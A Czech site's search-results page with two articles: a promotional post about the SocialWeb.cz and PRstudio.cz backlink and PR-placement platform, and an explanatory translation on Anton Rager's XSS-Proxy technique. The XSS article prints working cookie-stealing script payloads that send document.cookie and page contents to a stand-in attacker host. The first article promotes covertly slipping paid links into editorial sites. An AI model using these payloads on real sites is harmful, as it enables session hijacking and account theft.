Výsledky vyhledávání v sekci SocialWeb na dotaz iframe

Jak a proč jsem vytvořil SocialWeb.cz a PRstudio.cz

access_time25.duben 2019personRedakce

Položili jste si někdy otázku, jak za co nejméně peněz propagovat novou službu, webovou stránku a nebo třeba internetový obchod?Asi si řeknete reklamou, jenže reklamou získáte dočasný zájem o produkt a nebo službu, aby jste tuto návštěvnost udrželi, bude váš business vlastně na reklamě závislí a vám tak nezbude, než neustále zlepšovat svou strategii, cílení a obsah takového reklamního sdělení a vlastně se také budete muset smířit s tím, že velkou část vašeho zisku budete průběžně vyplácet poskytovatelům těchto reklam, například Google a nebo Facebooku.Neříkám, reklama může být zdrojem nových zákazníků, nicméně já bych marketingový model stavěl trochu jinak.Mě vždy nejvíce zajímalo to, jak se dostanu do výsledků vyhledávání na konkrétní klíčová slova na první místa, například v Google a nebo Seznamu, hned pod ty, kteří za to aby na prvním místě byli platí.Protože je to zdarma a je to trvalé.Dříve existovala spousta technik jak to zajistit, například jste do komentářů na různých webech vkládali URL adresy vašeho webu což byl vlastně SPAM, pak jste mohli přidávat PR články do webů, kde je přidávali také všichni ostatní, které vlastně nikdo kromě robotů nečetl a desítky dalších technik – díky kterým si roboti vyhledávačů, mysleli, že se o vašem webu píše a váš web je populární, proto vás řadili na přední místa.Priorita Google a dalších vyhledávačů je však pro hledaný dotaz nabídnout co možná nejrelevantnější výsledek, což jak jistě chápete se o webech, které se na první místa dostali díky těmto technikám říci nedalo, proto Google a další upravovali své algoritmy tak, aby tyto techniky prodejnímu webu na místo pomoci, uškodili (penalizovali) – proto je tohle dávno minulost a nic z toho již nefunguje.Aby jste se v dnešní době dostali na první místa ve vyhledávání, podle mě existuje jen jeden i do budoucna funkční způsob jak to zařídit.Publikovat články na různé weby a magazíny, které jsou navštěvované a které obsahují tématické články, zkrátka nevykazují žádné známky toho, že na těchto webech dochází k publikaci třeba i jen publikaci PR článků za peníze a mezi tyto tématické články infiltrujete váš článek, který však musí být unikátní a měl by být blízký tématům vámi vybraného webu.Pak existuje druhý způsob a to ten, že každý z článků na těchto tématických webech obsahuje mnoho klíčových slov, mezi nimi i právě ty, které vás zajímají, nebylo by tak krásné tyto klíčová slova, na která se chcete dostat ve vyhledávání nahradit ahref zpětným odkazem na váš produkt a nebo službu? A tak robotům vyhledávačů a vlastně i čtenářům dát najevo, že se v článku píše právě o vašem produktu a nebo službě?Možná se mnou souhlasíte, pokud ano, pak nastává otázka jak to zrealizovat, na internetu existují miliony webů, jak najdete ten správný web, jak oslovíte majitele toho webu, jak s ním budete vyjednávat cenu, jak mu budete fakturovat….?Před dvěma lety jsem si tyhle otázky sám položil, sám bych preferoval, když bych s novým produktem nebo internetovým obchodem tuto formu propagace mohl využít, nicméně v té době žádný jiný způsob, než skutečně kontaktovat majitele webů nebyl a to si myslím, že je stejné i dnes.Rozhodl jsem se tedy, že místo vytváření internetového obchodu a nebo jiných aktivit (protože jsem tenkrát přemýšlel co budu dělat) vytvořím aplikaci, která právě tyhle věci bude umět řešit a to jsem udělal, vytvořil jsem marketingový nástroj https://Prstudio.cz, tento systém tak nyní dokáže nahrazovat klíčová slova v článcích zpětnými odkazy, umí vkládat PR články do desítek webových stránek a magazínů, také umí vkládat SEO komentáře do těchto webů – zkrátka všechno co bych si dříve býval přál.Problém však nebyl vytvořit takový marketingový nástroj, skutečný problém byli ty samotné webové stránky, do kterých by tento marketingový nástroj mohl lidem, jenž o takové služby budou mít zájem umožnil publikovat.Aby to tedy bylo možné, samozřejmě první jsem si nainstaloval WordPress a přemýšlel jsem jak to propojím a nebo zrealizuji, taky jsem trochu experimentoval s Drupalem i Joomlou, nicméně ani jedno z těchto řešení nebylo pro můj plán vhodné, mohl bych jmenovat desítky důvodů proč ne, ten hlavní však byl ten, že jsem si uvědomoval, že sám budu muset vytvořit desítky takových webů a nedokázal jsem si představit, že každý budu muset složitě instalovat, nainstalovat pluginy, nainstalovat šablonu.. to bych snad ještě zvládl, jenže když jsem si představil (zejména kvůli množství), co všechno mě čeká, když budu potřebovat nějakou novou funkci, když budu chtít publikovat článek a nebo, když budu muset něco upravit… no zkrátka, než abych tohle dělal, tak bych to nakonec ignoroval, weby by zůstali neudržované, bez nového obsahu a já bych vlastně byl tam kde jsem začal.Z tohoto důvodu jsem tehdy začal pracovat na systému, který by splňoval všechny mé požadavky, podotýkám, že v této době jsem neřešil myšlenku, že by tento systém mohl používat i někdo jiný.Toto první řešení fungovalo na vždy dvou databázích, tedy ta první byla toho konkrétního webu a ta druhá byla databáze systému, proto aby to fungovalo z části jako jeden celek, takhle jsem vlastně vytvořil asi dva weby, pak jsem si uvědomil, že mě ani tohle nebaví, zjistil jsem hlavně také to, že bych potřeboval další lidi, kteří by mi pomáhali tyto weby vytvářet a stávající řešení, kdy ve zdrojovém kódu byli přístupy do obou databází znamenalo, že bych nikoho nemohl nechat upravovat zdrojový kód jeho konkrétního webu, takže i když myšlenka byla dobrá, technicky to bylo špatně.Tehdy jsem začal od začátku, na jehož konci (po asi 2 kompletních přepsáních a asi 200 aktualizacích) je dnes systém https://SocialWeb.cz, ten se však po asi roce a půl každodenního fulltime vývoje změnil ze systému, který měl jeden úkol a to rychle vytvářet tématické weby k systému, který je plnohodnotný a všestranný, který dokáže kromě publikací na weby publikovat i do sociálních stránek, vytvářet mobilní aplikace, předregistrovat domény, procházet volné expirované domény… a stovky dalších funkcí, které mají za cíl, každého kdo tento systém začne používat posunout daleko před ostatní, kteří mají podobný plán ale rozhodli se ho realizovat za pomocí opensource řešení, třeba díky WordPressu.SocialWeb je dnes velmi výkoný nástroj pro tvorbu a správu digitálního obsahu s napojením na Prstudio.cz a nebo Adclick.cz, které těmto webům automaticky zajišťují monetizaci.To hlavní ale zůstalo, každý může vytvářet neomezené množství webových stránek včetně webhostingu, který je také 100% zdarma.Jediná věc, která se platí je členský příspěvek 350 Kč za měsíc, který je však odečítán z příjmů, které vám díky systému Adclick.cz a Prstudio.cz systém SocialWeb.cz automaticky přičítá do zůstatku na SocialWeb účtu.Na závěr bych ještě asi zmínil, že bez jakékoliv reklamy je k dnešnímu dni v aplikaci Prstudio.cz zaregistrováno 43 lidí, tito lidé jsou z většiny marketingový specialisté, možná majitelé marketingových firem, to co nemám je tedy nouze o poptávku mnou nabízených marketingových služeb.Ve skutečnosti je nyní mým problémem to, že slibuji publikaci do stovek webů a mám jich nyní asi 30, proto jsem zatím žádnému registrovanému uživateli v Prstudiu.cz neumožnil dosud přihlášení, mám zkrátka příliš málo webů a sám je nejsem schopný tvořit dostatečně rychle a to třeba i proto, že mým úkolem je celý systém SocialWeb neustále vylepšovat, vytvářet nové nástroje a funkce.Proto jsem se rozhodl, že prvním 20ti lidem, kteří se rozhodnou do SocialWebu zaregistrovat dám členství na první rok úplně zdarma.Ještě před tím, než se rozhodnete do systému SocialWeb vstoupit, se však podívejte na tyto videa, která mají 4 hodiny a kde se pokusím alespoň trochu popsat základní funkce systému SocialWeb. 1. Podívejte se na video o tom co je SocialWeb2. Podívejte se na video jak v systému SocialWeb zaregistrujete doménu a vytvoříte webhosting3. Podívejte se na video jak v systému SocialWeb vytvoříte webovou stránku4. Podívejte se na video jak do webové stránky a na sociální sítě můžete publikovat články5. Podívejte se na video jak pracovat s moduly, jak upravit homepage (úvodní stránky webů) Není paráda, že vida z webu iPřednášky.cz je díky embed kódu možné vkládat i do úplně jiných webů?I toto jsou funkce, které https://socialweb.cz obsahuje.

folder_openPřiřazené štítky

Výsledky vyhledávání v sekci Hacking na dotaz iframe

Pokročilé techniky xss (cross-site scripting)

access_time16.červen 2020personRedakce

Popis pokročilého Cross-Site-Scriptingu, se vzdálenou kontrolou v reálném čase, od autora aplikace XSS-proxy jménem Anton Rager. Cross Site Scripting (XSS) je mnoha vývojáři a security profesionály obvykle považován za málo závažnou bezpečnostní zranitelnost. Do dnešní doby vznikla řada projektů s poukazem na potencionální rizika XSS, ale problém je převažne na pokraji zájmu bezpečnostních expertů a to včetně širších souvislostí o které tady jde.Autor aplikace XSS proxy napsal a zveřejnil popis v naději, že se odlehčený pohled na věc změní. Cituji: Doufám, že tímto dokumentem a vydáním nástroje pod jménem XSS-proxy (popsáno níže) změním pohled na celou situaci. XSS-Proxy umožňuje plnou kontrolu XSS útoků vzdáleným uživatelem (útočníkem). Tento dokument popisuje obvyklé XSS útoky a představuje nové metody/nástroje pro vytváření interaktivních XSS útoků, obojsměrných útoků a ještě více zla.Nejedná se o detailní návod (XSS howto), ale o širší vysvětlení metod XSS útoků. CGISecurity XSS FAQ (1) je dobrý zdroj pro celkový pohled na problematiku hlavních XSS zranitelností. V závěru textu jsou reference (2,3,4,5) obsahujíci skvělý materiál pro navazujíci XSS témata.Projekt XSS-proxy nevznikl jako platforma pro diskuzi a řešení. Existuje celá řada zdrojů, metod a možností pro hlášení chyb nebo opravování XSS děr. Pokročilé metody XSS které budou v textu představeny obcházejí mnoho metod aplikovaných proti XSS zranitelnostem. Doporučené čtení o hidden form inputs, URL re-writing, POST methods častokrát podsouvají řešení které nejsou 100% učinné, obzvlásť v případě, že má útočník přístup ke stejnému obsahu (a jscript/values) jako jeho oběť. Zbavit se všech speciálních HTML znaků nebo precizní filtrování vstupu je k ničemu v případě, že existuje neobjevený způsob jak vstup obelstít. Řešením může být rozdelení webových stránek na četné dokumentové domény, kde bude pro útočníka mnohem obtížnější provést/najít XSS útok/zranitelnost v porovnání s jediným místem kde je vše pohromadě. CGI vyhledávání na stránce v jedné subdoméně a citlivé oblasti na další(ch) může být užitečné.Pozadí XSSJako mnoho z vás ví, běžné XSS útoky vycházejí typicky ze dvou základních principů:1 – Útočník uploaduje <script> tag do veřejného fóra, blogu nebo stránek které navštevují uživatelé a obsahují XSS zranitelnost. Útočník pak díky přístupu získa (harvesting cookies) cookies webové stránky ze kterých vyčte řadu důležitých informací a díky tomu častokrát i přítpup k uživatelským účtum. Útoky jsou ale někdy využitelné mnohem hlouběji. Zde je to co myslím a říkam mnoha lidem co XSS přesně znamená. Příklad:Někdo chce odeslat následujíci kód na utocnik.com aby to další uživatelé sprocesovali.<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>Je to pokus o získání obrázku ze serveru útočníka pomocí cookies uživatele blogu priklad.com v URL.2 – Útočník použije veřejný web náchylný na útok XSS jak bylo uvedeno nahoře, nebo email zprávu založenu na XSS pro přesměrování uživatele na druhý server zranitelný pomocí XSS. Druhý server je aktuální cíl útočníka a stránka samozřejme obsahuje vlastní XSS zranitelnost, kde nic netušíci uživatel injektuje obsah <script> do dokumentu, který navenek pouze vidí. To v kombinaci s přesměrováním z dalšího webu umožňuje podvržení cookies, podvržení form/submit obsahu nebo specifickou akci XSSnutého uživatele proti dalšímu webu. Tato metoda je hodně rozšířena ale pramálo admiínistrátorů chápe, že se jedná o způsob útoku. Jak to funguje?Někdo chce odeslat následujíci kód na priklad.com aby to další uživatelé sprocesovali. <script>document.location=’http://ebanking.com/search?name=<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>'</script>Moment kdy je uživatel přesměrován na ebanking.com s hořejší XSS, toto je to co se vrátí uživateli a bude spuštěno:<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>To je pokus o získání obrázku ze serveru útočníka s cookies uživatele ebanking.com v URL.V minulosti hodně lidí zdůrazňovalo, že pokročilou manipulaci s webovým obsahem lze dosáhnout s XSS skriptem otevirajícím IFRAME (nebo další windows-like element) a loads/submits pro další dokumenty na stejné stránce. Důvěra v DOM umožňuje přítomnost Javascriptu v dokumentech a dovoluje interakci s dalšími windows/IFRAME, do doby než budou okna směrována do stejné dokumentové domény (protokol + domain_name + port).Aktuální metody XSS útoků jsou typicky limitovány pro jednu transakci a ve výsledku pouze v rámci cílové stránky, cookie harvesting nebo podvržení formuláře (form submission leakage). Zásady XSS-Proxy / ÚtokuXSS-Proxy rozšířuje běžné XSS útoky a kombinuje je s možností vykonání dalších Javascript příkazů, z libovolného vzdáleného serveru (viz Javascript Remoting reference číslo (6) pro detaily s IFRAME) pro možnost XSS být více než-li přesměrování s únikem cookies. Tato kombinace útočnikovi umožňuje ustavit stabilní, obousměrný kontrolní/přenosový kanál na oběť XSS a tím přistupovat na XSSnuté webové stránky s identitou oběti. Po celou dobu co má oběť útočníka otevřené XSS okno má útočník totální kontrolu nad prohlížečem oběti oproti XSS stránce s možností přesměrování na další stránky zranitelné XSS, nebo předání specifického blind requestu dalším serverům (viz reference číslo (3) provádění Cross-Site-Request-Forgeries aka CSRF a reference číslo (4) pro Session-Riding).Zmíněné situace lze dosáhnou s jedním nebo druhým útokem popsaným nahoře, teď se pokusíme názorně popsat příklad dvojího XSS přesměrování serveru. Oběť dostane XSS vektor pomocí blogu, diskuzního boardu, emailem atp. (předpokládaejme, že oběť surfuje na webech kde je možné vytvořit XSS – zavoláme stránku spatnyblog.com) a Javascript obsah přesměruje uživatele na druhou stránku (zavoláme druhou stránku ebanking.com a předpokládame samozřejmě, že stránka obsahuje XSS vo vyhledávací funkci, takže můžeme opakovat pomocí GET). Přesměrovací URL referuje na refers to a napadnutelnou část (cgi/etc) na druhém serveru což způsobý odezvu serveru která bude obsahovat Javascript příkaz útočníka který oběť vykoná.Inicializační XSS vektor na spatnyblog.com bude vypadat nějak takhle:<script>document.location=“http://ebanking.com/search?name=<script src=’http://utocnik.com/xss.js‘></script>“</script>Okno oběti teď má dokumentovou doménu ebanking.com a Javascript příkazy běží na doméně. Díky Javascript oběť posílá requesty na http://utocnik.com pro další skriptové příkazy. Nástroj XSS-Proxy aktuálně běží na utocnik.com a posyktuje další Javascripty pro inicializaci klientské části obsahujíci třeba funkce pro čtení dokumentů, procesování, přesměrování odpovědí, manipulaci chyb (error handling), stejně jako další příkazy pro vytvoření IFRAME, načtení root dokumentu (/) na cílovém serveru (ebanking.com) do IFRAME, načtení trvá pár vteřin, čtení obsahu (za použití innerHTML), pak následují další požadavek skriptů na http://utocnik.com. To vypadá komplexně ale jedná se pouze o několik řešení a reference časovač pro více volání skriptu na XSS-Proxy server. Funkce zůstanou v paměti až do doby než se okno oběti změní. Co se stane když od oběťi odejdou na http://utocnik.com subsekvenční skript requesty? Aktuálně se stanou dvě věci:1 – Obsah dokumentu v IFRAME (výsledky innerHTML pro daný objekt) jsou podvrženy do URL v skript requestu. Requesty skriptu jsou pouze GET, takže všechny volání skriptu obětí jsou jako volání normálniho dokumentu a ukládají parm/info na URL za jméno skriptu/stránky. Toto volání skriptu způsobý na serveru útočníka něco jako:GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1Je to o něco víc komplexnější než to, že IE limituje délku URL (na přibližně 2049 znaků), takže většina dokumentů bude potřebovat naporcovat na části, které se na skritp URL request budou schopny dát dohromady. Aktuální nástroje se s tímto snaží vypořádat tak, že umísťují do URL dotazů přídavné informace pro znovusestavení (podobně jak to funguje u TCP/IP paketů).2 – Server na http://utocnik.com odpoví na poslední požadavek skriptu s více skirpt příkazy pro zachování trvání. Server buďto odpoví pomocía.) loop requestu (obyčejně řekne oběti počkej pár vteřin, pak znovu zkontroluj zda-li existují další příkazy skriptu)b.) dokument requestu (vlož dokument do IFRAME, přečti ho a přepošli výsledky pokud tě o to skript požádá)c.) submit requestu (nastav hodnoty vstupu ve formuláři s IFRAME, odešli, čekej na odpověď, přečti odpověď přepošli výsldek zpátky pokud o to skript požádá).Nebo pomocí javascript var/funkce požadavek na vyhodonocení (vyhodnoť výraz uvnitř aktuálniho okna v prohlížeči oběti a vrať výsledek+get příkazy). Proces pokračuje tak dloho jak oběť setrváva na stejné stránce.Zde je ASCII vizualizace okna a vysvětlení v souvislostech s cílem útočníka, po tom co je oběť přesměrována na finálni cíl a inicializován únos session:Existuje řada metod pro zamaskování aktuálniho „rezidentního“ okna pro útok (attack window) nebo IFRAME zaváděče. Celé okno lze schovat, stejně tak zrušit původní obsah stránek nebo proste použít skrytý IFRAME. Nástroj XSS-Proxy o kterém mluvíme, necháva okno včetně IFRAME pro oběť viditelné, ale modifikace je triviální (třeba interaktivně s Javascript Eval from). Existují i metody jak donutiti uživatele otevřít nové okno a obejít blokování pop-up oken. Jak? XSS proces přepíše odkazy v originálním dokumentu a otevření okne je pak pouze otázkou kliku. Nové oknomůže být kopii (zrcadlem) toho co si uživatel právě prohlíží, nebo výsledek odkliknutého odkazu ve veřejném XSS dokumentu a zmanipuluje oběť tak, že okno kontrolované XSS nechá běžet když dál surfuje.

folder_openPřiřazené štítky